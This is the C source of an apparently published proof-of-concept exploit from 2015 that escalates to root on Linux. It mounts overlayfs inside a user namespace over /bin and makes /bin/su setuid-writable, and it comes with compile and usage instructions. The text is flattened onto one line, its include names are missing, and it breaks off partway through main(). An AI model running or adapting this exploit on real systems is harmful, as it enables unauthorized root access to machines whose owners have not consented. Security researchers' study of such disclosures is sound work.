/** This software is provided by the copyright owner "as is" and any * expressed or implied warranties, including, but not limited to, * the implied warranties of merchantability and fitness for a particular * purpose are disclaimed. In no event shall the copyright owner be * liable for any direct, indirect, incidential, special, exemplary or * consequential damages, including, but not limited to, procurement * of substitute goods or services, loss of use, data or profits or * business interruption, however caused and on any theory of liability, * whether in contract, strict liability, or tort, including negligence * or otherwise, arising in any way out of the use of this software, * even if advised of the possibility of such damage. * * Copyright (c) 2015 halfdog * * This program demonstrates how to escalate privileges using * an overlayfs mount within a user namespace. See * http://www.halfdog.net/Security/2015/UserNamespaceOverlayfsSetuidWriteExec/ * for more information. * * gcc -o UserNamespaceOverlayfsSetuidWriteExec UserNamespaceOverlayfsSetuidWriteExec.c * * Usage: UserNamespaceOverlayfsSetuidWriteExec -- [program] [args] * */ #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include extern char **environ; static int childFunc(void *arg) { fprintf(stderr, "euid: %d, egid: %d\n", geteuid(), getegid()); while(geteuid()!=0) { usleep(100); } fprintf(stderr, "euid: %d, egid: %d\n", geteuid(), getegid()); int result=mount("overlayfs", "/tmp/x/bin", "overlayfs", MS_MGC_VAL, "lowerdir=/bin,upperdir=/tmp/x/over,workdir=/tmp/x/bin"); if(result) { fprintf(stderr, "Overlay mounting failed: %d (%s)\n", errno, strerror(errno)); return(1); } chdir("/tmp/x/bin"); result=chmod("su", 04777); if(result) { fprintf(stderr, "Mode change failed\n"); return(1); } fprintf(stderr, "Namespace helper waiting for modification completion\n"); struct stat statBuf; char checkPath[128]; sprintf(checkPath, "/proc/%d", getppid()); while(1) { usleep(100); result=stat(checkPath, &statBuf); if(result) { fprintf(stderr, "Namespacer helper: parent terminated\n"); break; } // Wait until parent has escalated. if(statBuf.st_uid) break; } chdir("/"); umount("/tmp/x/bin"); unlink("/tmp/x/over/su"); rmdir("/tmp/x/over"); rmdir("/tmp/x/bin/work"); rmdir("/tmp/x/bin"); rmdir("/tmp/x/"); fprintf(stderr, "Namespace part completed\n"); return(0); } #define STACK_SIZE (1024 * 1024) static char child_stack[STACK_SIZE]; int main(int argc, char *argv[]) { int argPos; int result; char *targetSuidPath="/bin/su"; char *helperSuidPath="/bin/mount"; for(argPos=1; argPos